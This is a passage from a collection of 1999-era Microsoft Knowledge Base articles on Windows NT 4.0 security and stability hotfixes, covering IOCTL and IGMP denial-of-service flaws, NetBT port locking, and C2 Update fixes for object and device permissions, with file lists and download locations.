   Hotfixes-PostSP4/Kernel-fix/

Terminal Server
---------------

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT
4.0, Terminal Server Edition service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

The English version of this fix should have the following file attributes or
later:

   Date       Time     Size        File name      Platform
   -------------------------------------------------------------
   06/07/99   06:46p     365,840   Ntdll.dll      x86
   06/19/99   04:40p     992,448   Ntkrnlmp.exe   x86
   06/19/99   04:39p     971,584   Ntoskrnl.exe   x86

   06/03/99   01:19p     611,600   Ntdll.dll      Alpha
   06/19/99   04:43p   1,461,504   Ntkrnlmp.exe   Alpha
   06/19/99   04:43p   1,459,712   Ntoskrnl.exe   Alpha

This hotfix has been posted to the following Internet location as Krnlifxi.exe
(x86) and Krnlifxa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40tse/
   Hotfixes-PostSP4/Kernel-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Windows NT 4.0
--------------

Microsoft has confirmed this to be a problem in Windows NT 4.0. This problem was
first corrected in Windows NT 4.0 Service Pack 5.

Terminal Server
---------------

Microsoft has confirmed this to be a problem in Windows NT Server 4.0, Terminal
Server Edition.

MORE INFORMATION
================

This error condition does not affect Microsoft Windows 95 or Microsoft Windows
98.

For related information on this problem, please visit the Web site at:

   http://www.microsoft.com/security/bulletins/MS99-023.asp

For additional security-related information about Microsoft products, please
visit the Web site at:

   http://www.microsoft.com/security/

Additional query words: DoS denial of service
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q236359
TITLE   :Denial of Service Attack Using Unprotected IOCTL Function Call
PRODUCT :Windows NT; Windows NT, Terminal Server Edition
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft Windows NT Server version 4.0, Terminal Server Edition
-------------------------------------------------------------------------------

SYMPTOMS
========

When you run a program on a computer running Windows NT that contains an Input
Output Control (IOCTL) function call for the mouse or keyboard, the program may
prevent those input devices from responding to the operating system. A program
that improperly uses an Windows NT IOCTL function call may be employed to create
a denial of service attack on the computer by disabling the mouse and keyboard.

CAUSE
=====

This problem occurs because the IOCTLs for the mouse and keyboard are
unprotected and are available for use by all users, regardless of their security
privileges. Restarting the computer can correct the situation, but does not
prevent the program from being run again.

NOTE: This vulnerability does not allow any data to be compromised, nor does it
provide a way to bypass security and allow a user to elevate their security
privileges.

RESOLUTION
==========

Windows NT 4.0
--------------

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

The English version of this fix should have the following file attributes or
later:

   Date       Time     Size     File name      Platform
   -----------------------------------------------------
   06/29/99   02:53p    9,392   Kbdclass.sys   x86
   06/29/99   02:54p    9,488   Mouclass.sys   x86

   06/29/99   02:52p   13,904   Kbdclass.sys   Alpha
   06/29/99   02:53p   14,032   Mouclass.sys   Alpha

This hotfix has been posted to the following Internet location as Ioctlfxi.exe
and Ioctlfxa.exe:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   Hotfixes-PostSP5/IOCTL-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

Terminal Server
---------------

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT
4.0, Terminal Server Edition service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

The English version of this fix should have the following file attributes or
later:

   Date       Time     Size     File name      Platform
   -------------------------------------------------------------
   07/02/99   04:01p    9,360   Kbdclass.sys   x86
   07/02/99   04:01p    9,456   Mouclass.sys   x86

   07/02/99   04:04p   13,936   Kbdclass.sys   Alpha
   07/02/99   04:04p   14,064   Mouclass.sys   Alpha

This hotfix has been posted to the following Internet location as Ioctlfxi.exe
and Ioctlfxa.exe:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40tse/
   Hotfixes-PostSP4/IOCTL-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

WORKAROUND
==========

To work around this problem, follow normal recommended security practices to
prevent kiosk-type workstations from running unapproved programs. Servers should
generally allow only administrators to log on interactively and run programs.

STATUS
======

Microsoft has confirmed this to be a problem in the Microsoft products listed at
the beginning of this article.

MORE INFORMATION
================

Windows NT provides the ability for programs to directly request services of
device drivers. The interface through which this is done is called an Input
Output Control (IOCTL). Like all operating system services, some IOCTLs are
appropriate for normal users to use and others are reserved for privileged
users.

For computers runing Windows NT Workstation or Windows NT Server, this attack
prevents the mouse and keyboard from returning to service when a user logs off.
For example, if a kiosk workstation allows users to run a program arbitrarily,
or if a server allowed normal users to log on interactively and run a program
arbitrarily, a malicious user could disable the computer's keyboard and mouse
and prevent use of the computers until it had been restarted. For Windows NT
Server 4.0, Terminal Server Edition, this exploit disables not only the keyboard
and mouse on the local computer, but also those on the console. This would not
interfere with any of the ongoing terminal server sessions, but would still
require the computer to be restarted to gain control of the console.

For additional security-related information about Microsoft products, please
visit the following Microsoft Web site:

   http://www.microsoft.com/security/

Additional query words:
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT :Q238329
TITLE    :Malformed IGMP Packets May Promote "Denial of Service" Attack
PRODUCT  :Windows NTPROD/VER:4.0
OPER/SYS :WINDOWS NT

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft BackOffice Small Business Server version 4.0
 - Microsoft BackOffice Server version 4.0
 - Microsoft Windows NT Server version 4.0, Terminal Server Edition
 - Microsoft Windows 95
 - Microsoft Windows 95 OEM Service Release versions 1, 2, 2.1, 2.5
 - Microsoft Windows 98
 - Microsoft Windows 98 Second Edition
-------------------------------------------------------------------------------

SYMPTOMS
========

When a computer running Windows 98 receives a fragmented Internet Group
Management Protocol (IGMP) packet, the computer's performance may degrade or the
computer may stop responding (hang) and require a reboot to restore
functionality.

Computers running Windows NT 4.0 are also affected by this issue, but other
system components prevent any performance degradation.

CAUSE
=====

A fragmented IGMP packet may cause the TCP/IP stack to improperly gain access to
invalid segments of the computer's memory.

RESOLUTION
==========

Windows NT
----------

Windows NT Workstation 4.0; Windows NT Server 4.0; Windows NT Server, Enterprise
Edition:

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

The English-language version of this fix should have the following file
attributes or later:

   Date       Time     Size      File name   Platform
   --------------------------------------------------
   08/14/99   03:54p   150,800   Tcpip.sys   x86
   08/14/99   03:53p   274,032   Tcpip.sys   Alpha

This hotfix has been posted to the following Internet location as Igmpfixi.exe
and Igmpfixa.exe.exe:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP5/IGMP-fix/

Terminal Server
---------------

Windows NT Server 4.0, Terminal Server Edition:

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT
4.0, Terminal Server Edition, service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

The English-language version of this fix should have the following file
attributes or later:

   Date       Time     Size      File name   Platform
   --------------------------------------------------
   09/01/99   03:28p   147,920   Tcpip.sys   x86
   09/01/99   03:34p   269,648   Tcpip.sys   Alpha

This hotfix has been posted to the following Internet location as Igmpfixi and
Igmpfixa.exe:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40TSE/hotfixes-postSP4/IGMP-fix/

Windows 95/98
-------------

The English-language version of this fix should have the following file
attributes or later:

   Date       Time     Size      File name   Version     Platform
   ----------------------------------------------------------------
   08/12/99   05:20p    75,769     Vip.386   4.10.1999   Windows 98
   08/03/99   02:50p    80,409     Vip.386   4.10.2223   Windows 98
                                                         Second Edition

This hotfix has been posted to the following Internet location as 3304up98.exe
(Windows 98) and 3304upse.exe (Windows 98 Second Edition):

   http://www.microsoft.com/windows98/downloads/corporate.asp

STATUS
======

Microsoft has confirmed this to be a problem in the Microsoft products listed at
the beginning of this article.

MORE INFORMATION
================

For more information about this vulnerability, see the following Microsoft Web
site:

   http://www.microsoft.com/security/bulletins/ms99-034faq.asp


DOCUMENT:Q239132
TITLE   :Exchange Clients Appear to Intermittently Hang During Normal Operation
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft Windows NT Server version 4.0
-------------------------------------------------------------------------------

SYMPTOMS
========

Microsoft Exchange and Outlook Clients appear to stop responding (hang)
periodically during normal operation when used in conjunction with an Exchange
Server computer that has clients that connect over slower connections.

CAUSE
=====

The remote procedure call (RPC) Receive Any Thread in use by the Microsoft
Exchange Information Store Service is waiting to receive additional information
from a client.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

The English version of this fix should have the following file attributes or
later:

   Date       Time     Size     File name      Platform
   ----------------------------------------------------
   07/22/99   05:31p   37,136   Rpcltscm.dll   i386
   07/22/99   05:30p   59,664   Rpcltscm.dll   Alpha

This hotfix has been posted to the following Internet location as Rpslwfxi.exe
(x86) and Rpslwfxa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP5/Rpcltscm-fix/

This fix requires Windows NT 4.0 Service Pack 4 or greater.

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0.

MORE INFORMATION
================

Clients that are connecting to the Exchange Server computer over slower
connections have a higher latency in the sending and receiving of data grams.
The RPC Receive Any Thread is waiting on additional data grams before processing
the clients request. This causes other clients that are attempting to
communicate on the Receive Any thread to the Exchange Information Store to
appear to hang while waiting for a response from the Exchange Server computer.

For additional information on performance issues, please refer to the following
article in the Microsoft Knowledge Base:

   Q232512 TCP/IP may Retransmit Packets Prematurely

Additional query words: 4.00 exchange performance slow client
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q241041
TITLE   :Enabling NetBT to Open IP Ports Exclusively
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft Windows NT Workstation version 4.0
-------------------------------------------------------------------------------

SYMPTOMS
========

A user-mode application can listen to the TCP port 139 and UDP ports 137 and
138. Because these ports are used by Windows NT services, it is a Trusted
Computer System Evaluation Criteria (TCSEC) C2 requirement that an unprivileged
user-mode application should not be able to listen to these ports used by
Windows NT services, regardless of the cryptographic protection applied to the
Windows NT service traffic using these ports.

CAUSE
=====

Netbt.sys (NetBIOS over TCP/IP) is responsible for opening the following TCP and
UDP ports that subsequently are used by Windows NT services:

 - UDP Port 137

 - UDP Port 138

 - TCP Port 139

For additional information about Windows NT services that use these ports, click
the article number below to view the article in the Microsoft Knowledge Base:

   Q150543 WinNT, Terminal Server, and Exchange Services Use TCP/IP Ports

As explained in the Windows NT 4.0 Device Development Kit (DDK) for network
driver development, Netbt.sys (as a TDI client) begins communicating with its
local-node transport by opening a file object that represents a transport
address. It calls ZwCreateFile, passing the address specification in the EA
(extended attributes) buffer parameter to ZwCreateFile.

In Windows NT 4.0 Service Pack 6a and earlier, Netbt.sys allows file share access
to file objects representing the aforementioned TCP and UDP ports when calling
ZwCreateFile. Subsequently, a user-mode application on Windows NT 4.0 Service
Pack 6a and earlier can gain share access and listen to the TCP and UDP ports.
The Post-SP6a hotfix, C2 Update, allows the option to change the Netbt.sys
behavior so that it does not allow file share access to files objects
representing the aforementioned TCP and UDP ports when calling ZwCreateFile. The
option is selected through the use of the following registry key and key value.

   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters

EnablePortLocking:REG_DWORD

Default: 0 - NetBt allows file share access
     1 - NetBt disallows file share access

When EnablePortLocking is set to 1, Netbt.sys passes in zero (ULONG) in the
ShareAccess parameter of ZwCreateFile. After the application of Netbt-fix and
the setting of REG_DWORD value 1 for EnablePortLocking, a user-mode application
cannot gain share access and listen to the TCP and UDP ports.

NOTE: NETBT in Windows 2000 will not support this option and the above registry
key and value. The default behaviour in Windows 2000 is to disallow file share
access to all ports created by NETBT.

RESOLUTION
==========

The following files are available for download from the Microsoft Download
Center or Microsoft's FTP site. Click the file names below to download the
appropriate file:

   x86:

   Microsoft Download Center: Q244599i.exe
   (http://download.microsoft.com/download/winntsp/Patch/SP6a_C2/NT4/EN-US/Q244599i.exe)

   FTP: Q244599i.exe
   (ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp6a/c2-fix/Q244599i.exe)

   Alpha:

   Microsoft Download Center: Q244599a.exe
   (http://download.microsoft.com/download/winntsp/Patch/SP6a_C2/ALPHA/EN-US/Q244599a.exe)

   FTP: Q244599a.exe
   (ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp6a/c2-fix/Q244599a.exe)

For more information about how to download files from the Microsoft Download
Center, please visit the Download Center at the following Web address

   http://www.microsoft.com/downloads/search.asp

and then click "How to use the Microsoft Download Center".

The English version of this fix should have the following file attributes or
later:

   Date        Time      Size   File name  Platform
   ------------------------------------------------
   10/07/1999  03:13p  123,152  Netbt.sys  x86
   10/07/1999  03:11p  222,800  Netbt.sys  Alpha

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0.

Additional query words: c2 security_patch
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q243404
TITLE   :WINOBJ.EXE May Let You View Securable Objects Created/Opened by JET500.DLL
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft Windows NT Workstation version 4.0
-------------------------------------------------------------------------------

SYMPTOMS
========

The following securable (event/semaphore/mutex) objects may exist on the system
name space:

 - \BaseNameObjects\Proc Count:* (semaphore)

 - \BaseNamedObjects\Collect:* (semaphore)

 - \BaeNamedObjects\New Proc:* (mutex)

 - \BaeNamedObjects\Access:* (mutex)

 - \BaeNamedObjects\Done:* (event)

If exist, they may be viewed using Microsoft Object Viewer (Winobj.exe). On
Windows NT 4.0 Service Pack 6a and earlier, these objects have NULL Access
Control Lists (ACL), meaning that everyone has all access to these objects.

CAUSE
=====

These objects are created and opened by Jet500.dll (JET Engine DLL) for
synchronization purposes among instances of itself when they are loaded in
different processes. Microsoft WINS and DHCP services use Jet500.dll.

Jet500.dll provided in the C2 Update create the aforementioned events,
semaphores, and mutexs with an Access Control Element (ACE) for admins.
Specifically, only admins (DOMAIN_ALIAS_RID_ADMINS) are given GENERIC_ALL
access. Others do not have WRITE_DAC or WRITE_OWNER access.

RESOLUTION
==========

The following files are available for download from the Microsoft Download Center
or Microsoft's FTP site. Click the file names below to download the appropriate
file:

   x86:

   Microsoft Download Center: Q244599i.exe
   (http://download.microsoft.com/download/winntsp/Patch/SP6a_C2/NT4/EN-US/Q244599i.exe)

   FTP: Q244599i.exe
   (ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp6a/c2-fix/Q244599i.exe)

   Alpha:

   Microsoft Download Center: Q244599a.exe
   (http://download.microsoft.com/download/winntsp/Patch/SP6a_C2/ALPHA/EN-US/Q244599a.exe)

   FTP: Q244599a.exe
   (ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp6a/c2-fix/Q244599a.exe)

For more information about how to download files from the Microsoft Download
Center, please visit the Download Center at the following Web address

   http://www.microsoft.com/downloads/search.asp

and then click "How to use the Microsoft Download Center".

The English version of this fix should have the following file attributes or
later:

   Date        Time      Size   File name   Platform
   ------------------------------------------------
   10/13/1999  02:28p  458,512  Jet500.dll  x86
   10/13/1999  02:26p  698,640  Jet500.dll  Alpha

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0.

Additional query words: c2 security_patch
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q243405
TITLE   :Device Drivers Create their Corresponding DeviceObject with FILE_DEVICE_SECURE_OPEN DeviceCharacteristics
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft Windows NT Workstation version 4.0
-------------------------------------------------------------------------------

SYMPTOMS
========

When you open a device object in a program under the following conditions, it is
possible to obtain greater access to that object than the designated permissions
allow:

 - The device object has already been opened and you specify a relative file
   name of zero length to open a handle within that object.

 - The path specified to the device includes an additional trailing backslash
   name or character, and the device does not accommodate a parse routine.

This behavior particularly affects the following files in relation to I/O
Manager:

 - Floppy.sys (Floppy Driver in C:\winnt\system32\drivers\)

 - Netdetect.sys (Network Card Detection driver Driver in
   C:\winnt\system32\drivers\)

 - Parport.sys (Parallel Port Driver in C:\winnt\system32\drivers\)

 - Null.sys (NULL Driver in C:\winnt\system32\drivers\)

 - Beep.sys (BEEP Driver in C:\winnt\system32\drivers\)

 - Scsiport.sys (SCSI Port Driver in C:\winnt\system32\drivers\)

 - Tcpip.sys (TCP/IP driver in C:\winnt\system32\drivers\)

CAUSE
=====

It is the responsibility of a device driver of the corresponding device that
creates or opens a logical DeviceObject in the operating system name space with
IoCreateDevice() to represent the device. Detail of IoCreateDevice() can be
found on MSDN at
http://msdn.microsoft.com/library/ddkdoc/ntddk/native/ddk/kr/src/k104_22.htm.

On Windows NT 4.0 Service Pack 6a and earlier, the seven aforementioned device
drivers do not call IoCreateDevice() with the FILE_DEVICE_SECURE_OPEN
DeviceCharacteristics. The seven that are included in the C2 Update call
IoCreateDevice() with the FILE_DEVICE_SECURE_OPEN DeviceCharacteristics. The
Windows NT IO manager that services IoCreateDevice() performs the necessary
access check and audits the event if a relative file name of zero length is
specified or an additional trailing backslash name or character is included in
the path to the device.

NOTE: Other device drivers shipped with Windows NT 4.0 Service Pack 6a have been
tested for making the IoCreateDevice() call with the FILE_DEVICE_SECURE_OPEN
DeviceCharacteristics.

RESOLUTION
==========

The following files are available for download from the Microsoft Download
Center or Microsoft's FTP site. Click the file names below to download the
appropriate file:

   x86:

   Microsoft Download Center: Q244599i.exe
   (http://download.microsoft.com/download/winntsp/Patch/SP6a_C2/NT4/EN-US/Q244599i.exe)

   FTP: Q244599i.exe
   (ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp6a/c2-fix/Q244599i.exe)

   Alpha:

   Microsoft Download Center: Q244599a.exe
   (http://download.microsoft.com/download/winntsp/Patch/SP6a_C2/ALPHA/EN-US/Q244599a.exe)

   FTP: Q244599a.exe
   (ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp6a/c2-fix/Q244599a.exe)

For more information about how to download files from the Microsoft Download
Center, please visit the Download Center at the following Web address

   http://www.microsoft.com/downloads/search.asp

and then click "How to use the Microsoft Download Center".

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0.

Additional query words: c2 security_patch
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q244599
TITLE   :Fixes Required in TCSEC C2 Security Evaluation Configuration for Windows NT 4.0 Service Pack 6a
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft Windows NT Workstation version 4.0
-------------------------------------------------------------------------------

SUMMARY
=======

The Administrator's and User's Security Guide for Windows NT 4.0
(http://www.microsoft.com/security/issues/C2Evaluation.asp) is the official
document that specifies the exact procedures to configure Windows NT 4.0 as a
Trusted Computer System Evaluation Criteria (TCSEC) C2 compliant system. These
procedures include the installation of Windows NT 4.0 Service Pack 6a and a
Post-SP6a hotfix called C2 Update.

MORE INFORMATION
================

